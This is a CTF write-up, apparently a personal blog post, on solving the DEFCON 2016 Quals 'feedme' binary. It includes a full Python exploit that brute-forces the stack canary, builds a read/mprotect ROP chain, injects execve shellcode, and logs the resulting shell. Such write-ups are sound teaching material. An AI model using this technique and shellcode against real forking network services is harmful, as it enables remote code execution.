I had fun solving a problem of DEFCON CTF 2016 Quals in a few hours on May 21 with a friendly team, so I write about the problem I solved.
feedmeWe got a binary file and url to connect the target server. First, I checked the state of this file as below:
[root@ubuntu] # file feedme feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped [root@ubuntu] # [root@ubuntu] # ldd feedme not a dynamic executable [root@ubuntu] # [root@ubuntu] # gdb -q feedme Reading symbols from feedme...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ q [root@ubuntu] # [root@ubuntu] # perl -e 'print "AAAA"'|./feedme > /dev/null [root@ubuntu] # perl -e 'print "A"x100'|./feedme > /dev/null *** stack smashing detected ***: ./feedme terminated [root@ubuntu] #
From the above results, we found out the following:
- provided file is ELF, running on x86, statically linked, and stripped
- buffer overflow occers when received long texts
- the process downs by SSP in spite of "CANARY : disabled"
- since this file is statically linked, it isn't affected by ASLR: ASLR doesn't randomize the address like "0x0804XXXX".
Next, I read the file by using IDA. Fortunately, My teammate made a FLIRT signature file, so I imported, then read.
breakthrough the SSPAccording to this file:
- "___libc_fork" function makes child process, and it reads our input in a loop (800 times). When the file received our inputs, it works as follows:
(1) It reads the first character of inputted value.
(2) According to the value of (1), it decides how many bytes reads more, though a buffer size is only 32bytes.
The BOF occurs at this time. A value of Stack Canary doesn't change even though BOF occers and killed by SSP, because parent process doesn't die while the loop. It takes at most 256 * 3 times to find out a value of Stack Canary by using BruteForce. So we can use Canary Brute Force, and then ROP within 800 times.
- the file listens our input for 150 seconds and exits. We have to solve in 150 seconds.
ROPI searched the ROP Gadgets to make a ROP Chain. I found "sh\0" in the provided binary.
[root@ubuntu] # strings -tx ./feedme|grep "sh" (snip) 7a678 clflush (snip) 8b1e1 _dl_setup_hash [root@ubuntu] #
This is useful to call 'system("sh")'. However, I couldn't find "system". So I had to solve in a different way.
There are some ways to solve this issue, and I chose a Shellcode Injection.
1. Call ___libc_read function
2. Send a Shellcode to .bss
3. Call ___mprotect to make .bss section executable.
4. Execute the Shellcode
I made the following Stack Layout.
As a result, I wrote a script bellow,
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, time ###################### def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile("rw", bufsize=0) return s, f def read_until(f, delim="\n"): data = "" while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p32(a): return struct.pack("<I", a) ###################### main def main(argv): if(len(argv) == 2 and argv == "r"): print "[+] connect to remote." s, f = sock("feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me", 4092) else: print "[+] connect to local." s, f = sock("localhost", 4092) canary = "" read_until(f, "FEED ME!") while len(canary) < 4: for i in xrange(256): buf = "A" * 32 + canary + chr(i) f.write(chr(len(buf)) + buf) data = read_until(f, "FEED ME!") if "YUM" in data: canary += chr(i) print "[+] canary: %r" % chr(i) break print "[+] canary: %r" % canary sc = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bss_addr = 0x080e9000 read_addr = 0x0806d870 pppr_addr = 0x0804838c mprotect_addr = 0x0806e390 rop = "" # ___libc_read(STDIN, bss_addr+80, len(sc)) rop += p32(read_addr) rop += p32(pppr_addr) rop += p32(0) rop += p32(bss_addr+80) rop += p32(len(sc)) # ___mprotect(bss_addr, 0x1000, 7) rop += p32(mprotect_addr) rop += p32(bss_addr+80) rop += p32(bss_addr) rop += p32(0x1000) rop += p32(7) payload = "A" * 32 + canary + "A" * 0xc + rop f.write(chr(len(payload)) + payload) time.sleep(1) f.write(sc) print "[+] interact mode:" shell(s) if __name__ == "__main__": main(sys.argv)
then, ran it.
[root@ubuntu] # py exp.py r [+] connect to remote. [+] canary: '\x00' [+] canary: '\x05' [+] canary: '\x9d' [+] canary: ':' [+] canary: '\x00\x05\x9d:' [+] interact mode: ATE 41414141414141414141414141414141... bash -i ls feedme flag cat flag The flag is: It's too bad! we c0uldn't??! d0 the R0P CHAIN BLIND TOO
Finally, I got the flag yay!
Since it took under 150 seconds to find out the Stack Canary value and the flag, I didn't need to divise anymore.